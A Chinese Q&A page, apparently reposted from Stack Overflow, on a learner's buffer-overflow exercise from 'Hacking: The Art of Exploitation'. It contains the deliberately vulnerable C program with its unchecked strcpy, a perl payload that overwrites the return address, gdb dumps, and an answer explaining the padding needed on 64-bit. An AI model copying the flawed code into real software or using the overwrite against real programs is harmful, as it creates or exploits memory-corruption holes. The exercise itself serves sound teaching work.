微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

指令用垃圾覆盖?

如何解决指令用垃圾覆盖?

我正在练习一个函数返回地址覆盖漏洞。然而,程序指令指针反而被乱码覆盖。我曾尝试使用 -fno-builtin-fno-stack-protector 进行编译,但似乎没有任何改变行为。

代码(来自“Hacking the Art of Exploitation”,第 2 版,第 125 页):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {
        char password_buffer[16];
        int auth_flag = 0;

        strcpy(password_buffer,password);

        if(strcmp(password_buffer,"brillig") == 0)
                auth_flag = 1;
        if(strcmp(password_buffer,"outgrabe") == 0)
                auth_flag = 1;

        return auth_flag;
}

int main(int argc,char *argv[]) {
        if(argc < 2) {
                printf("Usage: %s <password>\n",argv[0]);
                exit(0);
        }
        if(check_authentication(argv[1])) {
                printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
                printf("      Access Granted.\n");
                printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
        } else {
                printf("\nAccess Denied.\n");
   }
}

在调试器中运行:

run $(perl -e 'print "\x97\x62\x55\x56"x8')

此地址将在“Access Granted”的开头出现。请参阅以下 0x56556297 <+82>: add esp,0x4 处的反汇编:

   0x5655627e <+57>:    push   eax
   0x5655627f <+58>:    call   0x565561d9 <check_authentication>
   0x56556284 <+63>:    add    esp,0x4
   0x56556287 <+66>:    test   eax,eax
   0x56556289 <+68>:    je     0x565562ba <main+117>
   0x5655628b <+70>:    lea    eax,[ebx-0x1fd1]
   0x56556291 <+76>:    push   eax
   0x56556292 <+77>:    call   0x56556060 <puts@plt>
   0x56556297 <+82>:    add    esp,0x4
   0x5655629a <+85>:    lea    eax,[ebx-0x1fb4]
   0x565562a0 <+91>:    push   eax
   0x565562a1 <+92>:    call   0x56556060 <puts@plt>
   0x565562a6 <+97>:    add    esp,0x4
   0x565562a9 <+100>:   lea    eax,[ebx-0x1f9e]
   0x565562af <+106>:   push   eax
   0x565562b0 <+107>:   call   0x56556060 <puts@plt>

字符串复制前的堆栈:

(gdb) next
9       strcpy(password_buffer,password);
(gdb) x/12x $esp
0xffffd190: 0x00000002  0xffffd264  0xffffd270  0x565562fd
0xffffd1a0: 0x00000000  0x56559000  0xffffd1b8  0x56556284
0xffffd1b0: 0xffffd429  0x00000000  0x00000000  0xf7dd6e46
(gdb) 

字符串复制后的堆栈:

(gdb) next
11      if(strcmp(password_buffer,"brillig") == 0)
(gdb) x/12x $esp
0xffffd190: 0x56556297  0x56556297  0x56556297  0x56556297
0xffffd1a0: 0x56556297  0x56556297  0x56556297  0x56556297
0xffffd1b0: 0xffffd400  0x00000000  0x00000000  0xf7dd6e46
(gdb) 

... 以及回溯和指令指针值导致的崩溃。

(gdb) cont
Continuing.

    Program received signal SIGSEGV,Segmentation fault.
    0xfdabe850 in ?? ()
    (gdb) bt
    #0  0xfdabe850 in ?? ()
    #1  0x565562a6 in main (argc=-1159180033,argv=0x83fffffd)
        at auth_overflow2.c:26
    Backtrace stopped: prevIoUs frame inner to this frame (corrupt stack?)
    (gdb) i r $eip
    eip            0xfdabe850          0xfdabe850
    (gdb) 

这个“eip”的值从何而来?是否有一些我没有(或不能)关闭的高级 Linux 保护?

我正在运行:

tester@Test:/$ uname -a
Linux Test 5.10.0-kali3-amd64 #1 SMP Debian 5.10.13-1kali1 (2021-02-08) x86_64 GNU/Linux

解决方法

我是在 64 位系统上做的。这是 check_authentication disassebly ,您可以在此处该函数为存储所有变量的堆栈 [sub rsp,0x20] 分配 32 字节的空间,然后您需要额外的 8 字节给你的记忆翻录。所以为了覆盖你的指令指针,你需要先填充初始的 32 个字节,然后给出你想要去的地方的地址 See here 正好有两个 'A' 被插入到 rip 中。顺便说一句,如果您正在学习,那么我建议您使用 TCC ,它会创建非常简单的输出,您可以在汇编中轻松理解。

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。